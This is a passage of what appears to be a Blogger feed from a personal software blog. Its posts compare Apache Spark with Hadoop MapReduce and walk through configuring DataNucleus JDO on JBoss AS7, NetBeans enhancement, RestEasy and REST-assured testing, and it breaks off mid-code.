tag:blogger.com,1999:blog-78113135666455641232023-09-02T20:39:46.360+05:30jkookramblings on softwareKiran Kumarhttp://www.blogger.com/profile/01324349914910981544noreply@blogger.comBlogger45125tag:blogger.com,1999:blog-7811313566645564123.post-77038228230309305832015-01-25T08:55:00.001+05:302015-01-25T09:00:37.221+05:30#apachespark for Hadoop programmers<p> </p> <p>Apache spark provides many advantages over Hadoop. Following are the important differences to consider before starting with Spark</p> <table cellspacing="0" cellpadding="2" width="800" border="1"> <tbody> <tr> <td valign="top" width="400">Apache Spark API</td> <td valign="top" width="400">Hadoop API</td></tr> <tr> <td valign="top" width="400">The input is an RDD of Strings only, not of key-value pairs</td> <td valign="top" width="400">Mappers and Reducers always use key-value pairs as input and output</td></tr> <tr> <td valign="top" width="400">Tuple is the equivalent of key values. ReduceByKey is the equivalent</td> <td valign="top" width="400"> <p>A Reducer reduces values per key only</p></td></tr> <tr> <td valign="top" width="400">Mapper should always return 1 record. Filter has to be used to remove unwanted records</td> <td valign="top" width="400">A Mapper or Reducer may emit 0, 1 or more key-value pairs for every input</td></tr> <tr> <td valign="top" width="400">Always returns typed results. Functions like flatten,flatmap, map and reduce have to be used in combination with GroupByKey. A worker may run out of memory if above function are improperly applied </td> <td valign="top" width="400">Mappers and Reducers may emit any arbitrary keys or values, not just subsets or transformations of those in the input</td></tr> <tr> <td valign="top" width="400">The Spark <code>map()</code> and <code>flatMap()</code> methods only operate on one input at a time though, and provide no means to execute code before or after transforming a batch of values. The nearest equivalent is mapPartitions. </td> <td valign="top" width="400">Mapper and Reducer objects have a lifecycle that spans many map() and reduce() calls. They support a setup() and cleanup() method, which can be used to take actions before or after a batch of records is processed</td></tr></tbody></table> <p>Other than the API differences there a lot of fundamental differences the way apache spark works</p> <p>It provides </p> <ul> <li>Caching + in memory computation <li>RDD(Resilient Distributed Data set): an RDD is the main abstraction of spark. It allows recovery of failed nodes by re-computation of the DAG while also supporting a more similar recovery style to Hadoop by way of checkpointing, to reduce the dependencies of an RDD. Storing a spark job in a DAG allows for lazy computation of RDD's and can also allow spark's optimization engine to schedule the flow in ways that make a big difference in performance <li>Spark API: Hadoop MapReduce has a very strict API that doesn't allow for as much versatility. Since spark abstracts away many of the low level details it allows for more productivity. Also things like broadcast variables and accumulators are much more versatile than DistributedCache and counters <li>As a product of in memory computation spark sort of acts as it's own flow scheduler. Whereas with standard MR you need an external job scheduler like Azkaban or Oozie to schedule complex flows <li>Scala API. Scala stands for Scalable Language and is clearly the best language to choose for parallel processing. They say Scala cuts down code by 2-5x, but in my experience from refactoring code in other languages - especially java mapreduce code, its more like 10-100x less code. Seriously I have refactored 100s of LOC from java into a handful of Scala / Spark. Its also much easier to read and reason about. Spark is even more concise and easy to use than the Hadoop abstraction tools like pig & hive, its even better than Scalding. <li>Spark has a repl / shell. The need for a compilation-deployment cycle in order to run simple jobs is eliminated. One can interactively play with data just like one uses Bash to poke around a system <li>Spark has much lower per job and per task overhead. It gives it ability to be applied to the cases where Hadoop MR is not applicable. It is cases when reply is needed in 1-30 seconds.<br>Low per task overhead makes Spark more efficient for even big jobs with a lot of short tasks. As a very rough estimation - when task takes 1 second Spark will be 2 times more efficient then Hadoop MR <li>Spark has lower abstraction then MR - it is graph of computations. As a result it is possible to implement more efficient processing then MR - specifically in cases when sorting is not needed. In other words - in MR we always pay for the sorting, but in Spark - we do not have to. <p> </p></li></ul> <p>References :</p> <p><a title="http://blog.cloudera.com/blog/2014/09/how-to-translate-from-mapreduce-to-apache-spark/" href="http://blog.cloudera.com/blog/2014/09/how-to-translate-from-mapreduce-to-apache-spark/">http://blog.cloudera.com/blog/2014/09/how-to-translate-from-mapreduce-to-apache-spark/</a></p> <p><a title="http://stackoverflow.com/questions/24705724/is-caching-the-only-advantage-of-spark-over-map-reduce" href="http://stackoverflow.com/questions/24705724/is-caching-the-only-advantage-of-spark-over-map-reduce">http://stackoverflow.com/questions/24705724/is-caching-the-only-advantage-of-spark-over-map-reduce</a></p> Kiran Kumarhttp://www.blogger.com/profile/01324349914910981544noreply@blogger.com0tag:blogger.com,1999:blog-7811313566645564123.post-65567862819374037092015-01-14T10:37:00.000+05:302015-01-14T13:12:32.910+05:30Apache Spark Design Patterns - Using #Scala #apache-spark - Series -1 ; The word countA simple word count using scala in Spark <br />
<div class="hidden-section-container">
<div class="sh-section-btn">
Simple word count example - Click to see code</div>
<div class="h-section-cont shw-box">
<script src="https://gist.github.com/gmkumar2005/69b20b231632ce24161d.js"></script></div>
</div>
There are many limitations in the above code The objective is to count words in the post, however the Posts.xml has lot of meta-data like OwnerUserId,Title,Tags etc..The info we need is in the Body. <br />
The missing logic is <br />
1) Count words in the Body <br />
2) Error handling <br />
3) Data clean up - we don’t count single quotes, special characters This example uses case classes and xml parsing which in in-built Scala. <br />
<div class="hidden-section-container">
<div class="sh-section-btn">
Enhanced word count example - Click to see code</div>
<div class="h-section-cont shw-box">
<!-- All your text/html below this --><script src="https://gist.github.com/gmkumar2005/ceb74a622c6ed59f7a1d.js"></script><!-- All your text/html above this --></div>
</div>
Kiran Kumarhttp://www.blogger.com/profile/01324349914910981544noreply@blogger.com0tag:blogger.com,1999:blog-7811313566645564123.post-23277211803973653482015-01-08T04:11:00.000+05:302015-01-14T11:15:12.525+05:30Apache Spark Design Patterns - Using Scala #-1 The Setup<b>The Hardware and Software stack used </b><br />
<b><br /></b>
<b>Spark version 1.2.0</b><br />
Using Scala version 2.10.4 (Java HotSpot(TM) 64-Bit Server VM, Java 1.7.0_71)<br />
<div>
<br /></div>
<b>scala -version</b><br />
Scala code runner version 2.11.4 -- Copyright 2002-2013, LAMP/EPFL<b></b><br />
<b><br /></b>
<b>java -version</b><br />
java version "1.7.0_71"<br />
Java(TM) SE Runtime Environment (build 1.7.0_71-b14)<br />
Java HotSpot(TM) 64-Bit Server VM (build 24.71-b01, mixed mode)<br />
<b><br /></b>
<b>uname -a</b><br />
Linux SERVER 3.11.10-301.fc20.x86_64 #1 SMP Thu Dec 5 14:01:17 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux<b></b><br />
<b><br /></b>
<b>cat /etc/redhat-release</b><br />
Fedora release 20 (Heisenbug)<b></b><br />
<b><br /></b>
<div class='hidden-section-container'>
<div class='sh-section-btn'><span>Data files used </span></div>
</div>
8.0G Sep 18 03:06 Comments.xml<br />
29G Sep 18 04:34 Posts.xml<br />
1.8G Sep 23 02:01 stackoverflow.com-Comments.7z<br />
5.8G Sep 27 01:26 stackoverflow.com-Posts.7z<br />
101M Sep 23 21:49 stackoverflow.com-Users.7z<br />
895M Sep 18 04:36 Users.xml<br />
<div class='hidden-section-container'>
<div class='sh-section-btn'><span>cat /proc/cpuinfo -Click to see details</span></div>
<div class='h-section-cont shw-box'>
<!-- All your text/html below this -->
processor : 0<br />
vendor_id : GenuineIntel<br />
cpu family : 6<br />
model : 23<br />
model name : Intel(R) Core(TM)2 Duo CPU E8400 @ 3.00GHz<br />
stepping : 10<br />
microcode : 0xa0b<br />
cpu MHz : 1998.000<br />
cache size : 6144 KB<br />
physical id : 0<br />
siblings : 2<br />
core id : 0<br />
cpu cores : 2<br />
apicid : 0<br />
initial apicid : 0<br />
fpu : yes<br />
fpu_exception : yes<br />
cpuid level : 13<br />
wp : yes<br />
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm constant_tsc arch_perfmon pebs bts rep_good nopl aperfmperf pni dtes64 monitor ds_cpl vmx smx est tm2 ssse3 cx16 xtpr pdcm sse4_1 xsave lahf_lm dtherm tpr_shadow vnmi flexpriority<br />
bogomips : 5985.62<br />
clflush size : 64<br />
cache_alignment : 64<br />
address sizes : 36 bits physical, 48 bits virtual<br />
power management:<br />
<br />
processor : 1<br />
vendor_id : GenuineIntel<br />
cpu family : 6<br />
model : 23<br />
model name : Intel(R) Core(TM)2 Duo CPU E8400 @ 3.00GHz<br />
stepping : 10<br />
microcode : 0xa0b<br />
cpu MHz : 1998.000<br />
cache size : 6144 KB<br />
physical id : 0<br />
siblings : 2<br />
core id : 1<br />
cpu cores : 2<br />
apicid : 1<br />
initial apicid : 1<br />
fpu : yes<br />
fpu_exception : yes<br />
cpuid level : 13<br />
wp : yes<br />
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm constant_tsc arch_perfmon pebs bts rep_good nopl aperfmperf pni dtes64 monitor ds_cpl vmx smx est tm2 ssse3 cx16 xtpr pdcm sse4_1 xsave lahf_lm dtherm tpr_shadow vnmi flexpriority<br />
bogomips : 5985.62<br />
clflush size : 64<br />
cache_alignment : 64<br />
address sizes : 36 bits physical, 48 bits virtual<br />
power management:<br />
<div>
<br /></div>
<!-- All your text/html above this -->
</div>
</div>
Kiran Kumarhttp://www.blogger.com/profile/01324349914910981544noreply@blogger.com0tag:blogger.com,1999:blog-7811313566645564123.post-42328168224878298502015-01-08T04:01:00.001+05:302015-01-08T04:13:54.787+05:30Apache Spark Design Patterns - Using Scala #0<span style="background-color: white; color: #58595b; font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 15px; line-height: 18px;">Apache Spark supports both batch and streaming analysis, meaning you can use a single framework for your batch processing as well as your near real time use cases. And Spark introduces a fantastic functional programming model, which is arguably better suited for data analysis than Hadoop’s Map/Reduce API</span><br />
<span style="background-color: white; color: #58595b; font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 15px; line-height: 18px;"><br /></span>
<span style="background-color: white; color: #58595b; font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 15px; line-height: 18px;">This blog series attempts to find out if the common set of use cases can be solved using Spark.</span><br />
<span style="color: #58595b; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif;"><span style="background-color: white; font-size: 15px; line-height: 18px;">The use-cases are based on </span></span><br />
<span style="color: #58595b; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif;"><span style="background-color: white; font-size: 15px; line-height: 18px;"></span></span><br />
<span style="background-color: white; color: #58595b; font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 15px; line-height: 18px;">http://oreil.ly/mapreduce-design-patterns</span><br />
<span style="background-color: white; font-size: 15px; line-height: 18px;"><span style="color: #58595b; font-family: Georgia, Times New Roman, Bitstream Charter, Times, serif;">“MapReduce Design Patterns by Donald Miner and Adam Shook (O’Reilly). Copyright 2013 Donald Miner and Adam Shook, 978-1-449-32717-0.”</span></span><br />
<br />
<br />
<a name='more'></a><a href="http://jkook.blogspot.com/2015/01/apache-spark-design-patterns-using_8.html">The Hardware and Software stack used </a><br />Kiran Kumarhttp://www.blogger.com/profile/01324349914910981544noreply@blogger.com0tag:blogger.com,1999:blog-7811313566645564123.post-79634970605327286092014-11-27T19:41:00.003+05:302014-11-27T19:41:40.487+05:30I am BackI am back
<span id="fullpost">
With New Style new content and Fresh Ideas
</span>Kiran Kumarhttp://www.blogger.com/profile/01324349914910981544noreply@blogger.com0tag:blogger.com,1999:blog-7811313566645564123.post-55283969547845283302011-08-02T16:24:00.000+05:302011-08-02T16:24:33.486+05:30Enable DataNucleus logs in Jboss AS7Jboss AS7 has a new logging system. It has a centralized configuration. There are only two configuration files a) standalone.xml b) domain.xml. Standalone.xml is used when jboss is running in standalone mode. domain.xml is used in domain mode. It is recommend that these file should be changed only through management api or command line features provided by jboss. It is convenient for the developer to know the <b>standalone.xml</b>. Every thing (almost ) in AS7 is a module or a subsystem. To get desired results one has to locate the subsystem and add his changes. For logging the subsystem is <b>urn:jboss:domain:logging:1.0</b><br />
<br />
There are two handlers <console-handler> and a <periodic-rotating-file-handler><br />
There can be many <loggers><br />
<br />
The below logger will log every thing from <b>DataNucleus</b><br />
<logger category="DataNucleus"><br />
<level name="DEBUG"><br />
</level></logger><br />
<br />
This one restricts to <b>JDO</b><br />
<logger category="DataNucleus.JDO"><br />
<level name="DEBUG"><br />
</level></logger><br />
<br />
Detailed list of loggers are here http://www.datanucleus.org/products/accessplatform_3_0/logging.html<br />
<br />
<br />
Wait why cant I see the debug logs ? Because you have to increase log level of your preferred handler. I have choosen to log into a FILE as below<br />
<periodic-rotating-file-handler autoflush="true" name="FILE"><br />
<level name="DEBUG"><br />
<formatter><br />
<pattern-formatter pattern="%d{HH:mm:ss,SSS} %-5p [%c] (%t) %s%E%n"><br />
</pattern-formatter></formatter><br />
<file path="server.log" relative-to="jboss.server.log.dir"><br />
<suffix value=".yyyy-MM-dd"><br />
</suffix></file></level></periodic-rotating-file-handler></loggers></periodic-rotating-file-handler></console-handler>Kiran Kumarhttp://www.blogger.com/profile/01324349914910981544noreply@blogger.com1tag:blogger.com,1999:blog-7811313566645564123.post-80616282160478951192011-07-29T15:16:00.002+05:302011-07-29T15:24:12.449+05:30NetBeans7 integration with Datanucleus JDOThe most important step in developing application with DataNucleus is enhancement of compiled classes. NetBeans provides powerful features for integrating the build enviromnet for Datanucleus with out any need of plugin.<br />
<br />
<strong>Maven :-</strong> NetBeans has a native integration with maven. Any datanucleus project based on maven will open and run as is with netbeans. No changes are needed in the project nor in netbeans.<br />
<br />
<strong>ANT :- </strong>The default build system in netbeans is Ant. Follow through for steps involved. There are two types of enhancement. 1) When we need typesafe queries datanucleus provides annotation processor. 2)Byte Code enhancement by datanucleus enhancer.<br />
<br />
<b>Requirements</b><br />
1. Datanucleus from <a href="http://sourceforge.net/projects/datanucleus/files/datanucleus-accessplatform/">http://sourceforge.net/projects/datanucleus/files/datanucleus-accessplatform/</a> choose datanucleus-accessplatform-full-deps-3.0.0-m6.zip it has most of it. <br />
2. <a href="http://sourceforge.net/projects/datanucleus/files/datanucleus-jca/">http://sourceforge.net/projects/datanucleus/files/datanucleus-jca/</a> needed if you are working with JavaEE<br />
<br />
<b>Setup Libraries for datanucleus</b><br />
<ul><li>Datanucleus - Containing all files from lib folder </li>
<li>Datanucleusdeps - Containing all files from deps folder</li>
</ul><br />
<strong>TypeSafe Queries</strong> :- Datanucleus generates addtional code for supporting type safe queries. Ensure that "Enable Annotion processing" check box is selected, which is under Project Properties | build | compiling <br />
<strong>Enhancer :- </strong>Datanucleus provides an ant task to enhancement. This task has to be executed just after compiling all the classes in the project. Open the files tab and localte the build.xml . Paste the below code before the end of </project> <br />
<pre class="prettyprint"><target name="-post-compile" depends="init">
<path id="module.enhancer.classpath">
<pathelement path="${javac.classpath}"/>
<pathelement location="${build.classes.dir}"/>
</path>
<taskdef name="datanucleusenhancer" classpathref="module.enhancer.classpath"
classname="org.datanucleus.enhancer.tools.EnhancerTask" />
<echo message="start datanucleusenhancer"/>
<datanucleusenhancer classpathref="module.enhancer.classpath" dir="${build.classes.dir}" verbose="true">
<fileset dir="${build.classes.dir}/com/blogspot/jkook/daytrader/jdo/">
<include name="**/*.class"/>
</fileset>
</datanucleusenhancer>
<echo message="end datanucleusenhancer"/>
</target>
</pre><br />
You output screen will show a log smilar as below<br />
<code><br />
Compiling 5 source files to /NetBeansProjects/JDOTutorial/build/web/WEB-INF/classes<br />
<span style="color: red;">DataNucleus : JDO Query - com.blogspot.jkook.daytrader.jdo.JDOOrderData -> com.blogspot.jkook.daytrader.jdo.QJDOOrderData</span><br />
Note: Some input files use unchecked or unsafe operations.<br />
Note: Recompile with -Xlint:unchecked for details.<br />
Copying 2 files to /NetBeansProjects/JDOTutorial/build/web/WEB-INF/classes<br />
<span style="color: red;">start datanucleusenhancer</span><br />
Jul 29, 2011 2:40:36 PM org.datanucleus.enhancer.DataNucleusEnhancer <init><br />
INFO: DataNucleus Enhancer : Using ClassEnhancer "ASM" for API "JDO"<br />
Jul 29, 2011 2:40:37 PM org.datanucleus.enhancer.DataNucleusEnhancer main<br />
INFO: DataNucleus Enhancer (version 3.0.0.m6) : Enhancement of classes<br />
DataNucleus Enhancer (version 3.0.0.m6) : Enhancement of classes<br />
Jul 29, 2011 2:40:38 PM org.datanucleus.api.jdo.metadata.JDOAnnotationReader processClassAnnotations<br />
INFO: Class "com.blogspot.jkook.daytrader.jdo.JDOOrderData" has been specified with JDO annotations so using those.<br />
Jul 29, 2011 2:40:38 PM org.datanucleus.metadata.MetaDataManager loadClasses<br />
INFO: Class "com.blogspot.jkook.daytrader.jdo.QJDOOrderData" has no MetaData or annotations.<br />
Jul 29, 2011 2:40:38 PM org.datanucleus.enhancer.AbstractClassEnhancer save<br />
INFO: Writing class file "/NetBeansProjects/JDOTutorial/build/web/WEB-INF/classes/com/blogspot/jkook/daytrader/jdo/JDOOrderData.class" with enhanced definition<br />
Jul 29, 2011 2:40:38 PM org.datanucleus.enhancer.DataNucleusEnhancer addMessage<br />
INFO: DataNucleus Enhancer completed with success for 1 classes. Timings : input=514 ms, enhance=290 ms, total=804 ms. Consult the log for full details<br />
DataNucleus Enhancer completed with success for 1 classes. Timings : input=514 ms, enhance=290 ms, total=804 ms. Consult the log for full details<br />
<span style="color: red;">end datanucleusenhancer</span> <br />
<span style="color: red;"></span> <br />
compile:<br />
compile-jsps:<br />
Created dir: /NetBeansProjects/JDOTutorial/dist<br />
Building jar: /NetBeansProjects/JDOTutorial/dist/JDOTutorial.war<br />
do-dist:<br />
dist:<br />
<span style="color: lime;">BUILD SUCCESSFUL (total time: 6 seconds)</span></code><br />
<br />
The first red line is from the datanucleus annotation processor<br />
Next two red lines are from the ant task we just addedKiran Kumarhttp://www.blogger.com/profile/01324349914910981544noreply@blogger.com0tag:blogger.com,1999:blog-7811313566645564123.post-68556977198988576072011-07-29T12:26:00.027+05:302011-07-30T21:39:00.551+05:30Getting started with JDO on Jboss AS7 in Seven Steps<a href="http://www.jboss.org/as7">Jboss as7</a> is the latest JavaEE6 server while <a href="http://www.datanucleus.org/">Datanucleus</a> is the greatest peristance(JDO) implementation. Integrating these two softwares is straight forward. However to be able to leverage all the power of JavaEE and also enjoy power of JDO I will engage you in a seven step process<br />
<br />
1.Download AS7 and Datanucleus<br />
2.Install Jboss As 7<br />
3.Install and configure jdbcdriver/ datasource<br />
4.Install Datanucleus as jboss module<br />
5.Install Datanucleus JCA<br />
6.Configure Datanucleus<br />
7.Access the PersistenceManager<br />
<br />
<b>Step 1. Download AS7 and Datanucleus</b><br />
<ul><li><a href="http://www.jboss.org/as7">http://www.jboss.org/as7</a> - I have jboss-as-7.0.0.Final</li>
<li><a href="http://sourceforge.net/projects/datanucleus/files/datanucleus-accessplatform/">http://sourceforge.net/projects/datanucleus/files/datanucleus-accessplatform/</a> - I have datanucleus-accessplatform-full-deps-3.0.0-m6.zip</li>
<li><a href="http://sourceforge.net/projects/datanucleus/files/datanucleus-jca/">http://sourceforge.net/projects/datanucleus/files/datanucleus-jca/</a> - I have datanucleus-jca-3.0.0-m6.rar</li>
</ul><b>Step 2. Install Jboss AS 7</b><br />
<ul><li>unzip into $home/jboss-as-7.0.0.Final -- Thats it </li>
</ul>Jboss AS 7 is new server and its going to be a new new experice one stay with me on this wonderful flight. It loads fast <3s. Configuration is controlled by single file standalone.xml or domain.xml. Two modes of operation standalone and domain mode we will work in standalone mode. Modular server with osgi support Upgraded to JCA 1.6. Classloading is entirely fresh. Ofcource I have listed very few which are relavant here. <br />
Start the server $home/jboss-as-7.0.0.Final/bin/standalone.sh and open <a href="http://localhost:8080/">http://localhost:8080/</a> <br />
Expect to see this banner “Welcome to AS 7”. Jboss7 runs runs in two modes standalone and domain. In standalone mode it uses standalone.xml and in Domain mode it looks for domain.xml. In this exercise we are intrested in standalone.xml <br />
<br />
<b>Step 3. Install and configure jdbcdriver/ datasource</b><br />
<br />
Very simple drop the driver in $home/jboss-as-7.0.0.Final/standalone/deployments. Yes believe me you have installed the driver and ready for use. <br />
Next we need two datasources one Managed and other non managed. So i created java:jboss/datasources/TradeDBDS which has jta="false" and java:jboss/datasources/TradeDBDSJTA with jta="true"<br />
Every thing in Jboss as7 is a module and controlled by respective subsystem. The datasource is managed by <br />
<pre>urn:jboss:domain:datasources:1.0.</pre>Locate it in your standalone.xml. Below is the sample datasource<br />
<pre class="prettyprint"><subsystem xmlns="urn:jboss:domain:datasources:1.0">
<datasource jndi-name="java:jboss/datasources/TradeDBDS" pool-name="TRADEDB_Pool" enabled="true" jta="false" use-java-context="true" use-ccm="true">
<connection-url>
jdbc:oracle:thin:@10.10.10.10:1521:orcl11g
</connection-url>
<driver>
ojdbc6.jar
</driver>
<pool>
<min-pool-size>
1
</min-pool-size>
<max-pool-size>
2
</max-pool-size>
<prefill>
true
</prefill>
<use-strict-min>
false
</use-strict-min>
<flush-strategy>
FailingConnectionOnly
</flush-strategy>
</pool>
<security>
<user-name>
tradedb
</user-name>
<password>
keepguessing
</password>
</security>
</datasource>
</subsystem>
</pre><b>Step 4. Install Datanucleus as jboss module</b><br />
The libraries inside the webapplication cannot access the libraries in the JCA connector. Jboss takes care of JavaEE libraries such that all the webapplications have proper access. Since jdo is not part of javaEE we have to tell Jboss to share these libraries with all web applications. The trick is very easy<br />
Create a folder $home/jboss-as-7.0.0.Final/modules/javax/jdo/main. Copy following files datanucleus-api-jdo-3.0.0-m6.jar, datanucleus-cache-3.0.0-m4.jar,datanucleus-core-3.0.0-m6.jar,datanucleus-jdo-query-3.0.0-m3.jar,datanucleus-rdbms-3.0.0-m6.jar,jdo-api-3.1-SNAPSHOT-20110319.jar. <br />
Notice the folder main<br />
Create a file module.xml. Contents as follows<br />
<br />
<pre class="prettyprint"><module name="javax.jdo" xmlns="urn:jboss:module:1.0">
<resources>
<resource-root path="datanucleus-api-jdo-3.0.0-m6.jar"></resource-root>
<resource-root path="datanucleus-cache-3.0.0-m4.jar"></resource-root>
<resource-root path="datanucleus-core-3.0.0-m6.jar"></resource-root>
<resource-root path="datanucleus-jdo-query-3.0.0-m3.jar"></resource-root>
<resource-root path="datanucleus-rdbms-3.0.0-m6.jar"></resource-root>
<resource-root path="jdo-api-3.1-SNAPSHOT-20110319.jar"></resource-root>
</resources>
<dependencies>
<module name="javax.api"></module>
<module name="javax.transaction.api"></module>
</dependencies>
</module>
</pre>Let the classlaoder majick take over<br />
<br />
<b>Step 5 Install Datanucleus JCA</b><br />
Open the rar file remove all the jars except datanucleus-jca-3.0.0-m6.jar. Remove all xml files except plugin.xml. Edit ra.xml inside META-INF folder replace the contents with <br />
<br />
<pre class="prettyprint"><connector>
<display-name>DataNucleus Connector</display-name>
<description></description>
<vendor-name>DataNucleus</vendor-name>
<spec-version>1.0</spec-version>
<eis-type>JDO Adaptor</eis-type>
<version>1.0</version>
<resourceadapter>
<managedconnectionfactory-class>org.datanucleus.jdo.connector.ManagedConnectionFactoryImpl</managedconnectionfactory-class>
<connectionfactory-interface>javax.resource.cci.ConnectionFactory</connectionfactory-interface>
<connectionfactory-impl-class>org.datanucleus.jdo.connector.PersistenceManagerFactoryImpl</connectionfactory-impl-class>
<connection-interface>javax.resource.cci.Connection</connection-interface>
<connection-impl-class>org.datanucleus.jdo.connector.PersistenceManagerImpl</connection-impl-class>
<transaction-support>LocalTransaction</transaction-support>
<config-property>
<config-property-name>PersistenceUnitName</config-property-name>
<config-property-type>java.lang.String</config-property-type>
<config-property-value>"pu"</config-property-value>
</config-property>
<config-property>
<config-property-name>PersistenceXmlFilename</config-property-name>
<config-property-type>java.lang.String</config-property-type>
<config-property-value>file:///data1/jboss-as-7.0.0.Final/standalone/deployments/jdopersistence.xml</config-property-value>
</config-property>
<authentication-mechanism>
<authentication-mechanism-type>BasicPassword</authentication-mechanism-type>
<credential-interface>javax.resource.spi.security.PasswordCredential</credential-interface>
</authentication-mechanism>
<reauthentication-support>false</reauthentication-support>
</resourceadapter>
</connector></pre>The important properties are <b>PersistenceUnitName and PersistenceXmlFilename</b>. <br />
PersistenceUnitName has to be same across other files ie, standalone.xml and jdopersistance.xml. I am using pu. <strike>To work around an known issue we have to xmlescape the characters around pu </strike><br />
PersistenceXmlFilename should point to the full path.<br />
Add a file jboss-deployment-structure.xml in META-INF folder<br />
<pre class="prettyprint"><jboss-deployment-structure>
<deployment>
<exclusions>
</exclusions>
<dependencies>
<module name="javax.jdo"/>
</dependencies>
</deployment>
</jboss-deployment-structure></pre>This file tells jboss to load JCA after loading datanucleus(javax.jdo)<br />
<br />
We can access the resource-adapter via JNDI. We need to inform Jboss the JNDI location where the persistanceManagerFactory should be available. Open standalone.xml and locate the subsystem for resource-adapter and copy the below configuration.<br />
<br />
<pre class="prettyprint"><subsystem xmlns="urn:jboss:domain:resource-adapters:1.0">
<resource-adapters>
<resource-adapter>
<archive>
datanucleus-jca-3.0.0-m6.rar
</archive>
<connection-definitions>
<connection-definition
class-name="org.datanucleus.jdo.connector.ManagedConnectionFactoryImpl"
jndi-name="java:/TraderDB-PU"
enabled="true" use-java-context="true"
pool-name="DNConnectionFactory"
use-ccm="true">
<config-property name="PersistenceUnitName">
pu
</config-property>
</connection-definitions>
</connection-definitions>
</resource-adapter>
</resource-adapters>
</subsystem>
</pre><br />
Step 6. Configure Datanucleus <br />
All the configuration of datanucleus is in jdopersistence.xml. The file name should be same as defined in PersistenceXmlFilename. The behaviour can be defined by adding properties. Detailed list of properties is <a href="http://www.datanucleus.org/products/accessplatform_3_0/persistence_properties.html">here</a>.<br />
jdopersistance.xml<br />
<pre class="prettyprint"><?xml version="1.0" encoding="UTF-8" ?>
<persistence xmlns="http://java.sun.com/xml/ns/persistence"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/persistence
http://java.sun.com/xml/ns/persistence/persistence_1_0.xsd" version="1.0">
<persistence-unit name="pu">
<properties>
<property name="datanucleus.connection.resourceType" value="JTA"/>
<property name="datanucleus.storeManagerType" value="rdbms"/>
<property name="datanucleus.autoCreateSchema" value="false"/>
<property name="datanucleus.ConnectionFactoryName" value="java:jboss/datasources/TradeDBDSJTA"/>
<property name="datanucleus.ConnectionFactory2Name" value="java:jboss/datasources/TradeDBDS"/>
<property name="datanucleus.autoStartClassNames" value="com.blogspot.jkook.daytrader.jdo.JDOOrderData"/>
<property name="datanucleus.autoStartMechanism" value="Classes"/>
<property name="datanucleus.autoStartMechanismMode" value="Ignored"/>
<property name="datanucleus.jtaLocator" value="custom_jndi"/>
<property name="datanucleus.jtaJndiLocation" value="java:jboss/TransactionManager"/>
</properties>
</persistence-unit>
</persistence>
</pre>datanucleus.ConnectionFactoryName has to be JTA enabled datasource<br />
datanucleus.ConnectionFactory2Name has to be non JTA<br />
TransactionManger JNDI name in as7 has changed so we need to configure using <b>datanucleus.jtaJndiLocation and datanucleus.jtaLocator</b><br />
Almost done ! stay with me to start coding<br />
<br />
Step 7. Access PersistenceManager<br />
Alright enough configuiration show me some code. PersistenceManager can be accesed through JNDI either by injecting or by direct access using InitialContext(). I prefer to use CDI @Producer and @Inject here is the sample<br />
<br />
<pre class="prettyprint lang-java">PersistenceManagerFactory pmf = (PersistenceManagerFactory)
context.lookup("java:/TraderDB-PU");
PersistenceManager pm = pmf.getPersistenceManager();
</pre><br />
<b>Appratus</b><br />
Jdk 1.6, JbossAs7, NetBeans, ojdbc6.jar, Oracle11g, Datanucleus3.0.0-m6, JavaEE6, CDI, Ejb3.1Kiran Kumarhttp://www.blogger.com/profile/01324349914910981544noreply@blogger.com2tag:blogger.com,1999:blog-7811313566645564123.post-9163038986605242282011-07-06T14:57:00.000+05:302011-07-06T14:57:02.337+05:30Drools Best Practices - Must for every Drools programmerA very well organised presentation with valuable suggestions.<br />
This is a must for every drools programmer.<br />
http://www.slideshare.net/jamet123/best-practices-for-jboss-droolsKiran Kumarhttp://www.blogger.com/profile/01324349914910981544noreply@blogger.com0tag:blogger.com,1999:blog-7811313566645564123.post-81230565912727804772011-06-16T19:10:00.002+05:302011-06-16T19:15:41.419+05:30RestEasy Avoid -LazyInitializationExceptionWhen we work with JPA one cannot avoid using relations. For eg UserAccount has relation with UserAccountProfile. We often come across LazyInitializationException.<br />
However when accessing UserAccount resource we may need to suppress xml generation for UserAccountProfile. Solution is to use <code>@XmlTransient</code><br />
<br />
<pre class="prettyprint lang-java">/**
* @return the useraccount
*/
@XmlTransient
public Useraccount getUseraccount() {
return useraccount;
}
</pre><br />
I have Annotated getUserAccount in the Entity Order.java. This annotation does not work with fields.<br />
Adtionally you can use @ManyToOne(fetch = FetchType.LAZY) to avoid the database call :)<br />
<br />
Applies to : Jboss,JAX-WS,RestEasy,JPA,HibernateKiran Kumarhttp://www.blogger.com/profile/01324349914910981544noreply@blogger.com0tag:blogger.com,1999:blog-7811313566645564123.post-73910505109318729062011-06-14T21:41:00.002+05:302022-02-10T11:55:10.329+05:30Restified DayTrader Launched (RestifiedTrader)Restified Trader aka Restified DayTrader is Trading application implemented using REST. It is a proof of concept for the restful design published by RESTify-DayTrader (https://bitworking.org/news/2007/06/restify-daytrader/). Implemented in JavaEE6 and JAX-RS. It implements all requirements of Apache DayTrader Benchmark Sample. Currently it does not provide a UI.<br />
Checkout following link for more details<br />
<a href="http://sourceforge.net/p/restifiedtrader/home/">http://sourceforge.net/p/restifiedtrader/home/</a>Kiran Kumarhttp://www.blogger.com/profile/01324349914910981544noreply@blogger.com0tag:blogger.com,1999:blog-7811313566645564123.post-7876510525313858292011-06-14T16:24:00.000+05:302011-06-14T17:46:36.457+05:30REST-assured Tricks How to test HTTP 201 Created ?How to test <strong>HTTP 201 Created ?</strong><br />
<br />
This is two testcases a) Status Code b) Location header<br />
<br />
<pre class="prettyprint lang-java">// Prepare data to be posted
String xmlBody = "<orderData><orderType>BUY</orderType><quantity>44</quantity><symbol>YHO</symbol></orderData>";  
String location = given()
.body(xmlBody)
.contentType(ContentType.XML).body(xmlBody)
// a) test status code
